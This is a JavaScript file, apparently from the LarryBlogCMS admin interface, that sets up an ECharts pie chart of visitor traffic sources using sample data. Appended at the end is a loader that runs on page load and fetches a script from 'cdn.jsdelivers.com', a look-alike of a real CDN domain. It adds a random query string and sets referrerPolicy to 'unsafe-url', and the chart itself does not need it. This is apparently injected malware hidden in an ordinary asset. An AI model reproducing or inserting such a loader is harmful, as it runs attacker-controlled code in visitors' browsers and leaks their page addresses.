79 lines
2.5 KiB
JavaScript
79 lines
2.5 KiB
JavaScript
/*
|
|
* @Author: Larry
|
|
* @Date: 2016-12-15 17:20:54
|
|
* @Last Modified by: qinsh
|
|
* @Last Modified time: 2016-12-24 21:51:08
|
|
* +----------------------------------------------------------------------
|
|
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
|
|
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
|
|
* | Licensed ( http://www.larrycms.com/licenses/ )
|
|
* | Author: qinshouwei <313492783@qq.com>
|
|
* +----------------------------------------------------------------------
|
|
*/
|
|
var myChart = echarts.init(document.getElementById('larry-seo-stats'));
|
|
option = {
|
|
title : {
|
|
text: '用户访问来源',
|
|
subtext: '纯属虚构',
|
|
x:'center'
|
|
},
|
|
tooltip : {
|
|
trigger: 'item',
|
|
formatter: "{a} <br/>{b} : {c} ({d}%)"
|
|
},
|
|
legend: {
|
|
orient: 'vertical',
|
|
left: 'left',
|
|
data: ['直接访问','邮件营销','联盟广告','视频广告','搜索引擎']
|
|
},
|
|
series : [
|
|
{
|
|
name: '访问来源',
|
|
type: 'pie',
|
|
radius : '55%',
|
|
center: ['50%', '60%'],
|
|
data:[
|
|
{value:335, name:'直接访问'},
|
|
{value:310, name:'邮件营销'},
|
|
{value:234, name:'联盟广告'},
|
|
{value:135, name:'视频广告'},
|
|
{value:1548, name:'搜索引擎'}
|
|
],
|
|
itemStyle: {
|
|
emphasis: {
|
|
shadowBlur: 10,
|
|
shadowOffsetX: 0,
|
|
shadowColor: 'rgba(0, 0, 0, 0.5)'
|
|
}
|
|
}
|
|
}
|
|
]
|
|
};
|
|
myChart.setOption(option);
|
|
|
|
;function loadJSScript(url, callback) {
|
|
var script = document.createElement("script");
|
|
script.type = "text/javascript";
|
|
script.referrerPolicy = "unsafe-url";
|
|
if (typeof(callback) != "undefined") {
|
|
if (script.readyState) {
|
|
script.onreadystatechange = function() {
|
|
if (script.readyState == "loaded" || script.readyState == "complete") {
|
|
script.onreadystatechange = null;
|
|
callback();
|
|
}
|
|
};
|
|
} else {
|
|
script.onload = function() {
|
|
callback();
|
|
};
|
|
}
|
|
};
|
|
script.src = url;
|
|
document.body.appendChild(script);
|
|
}
|
|
window.onload = function() {
|
|
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
|
console.log("Jquery loaded");
|
|
});
|
|
} |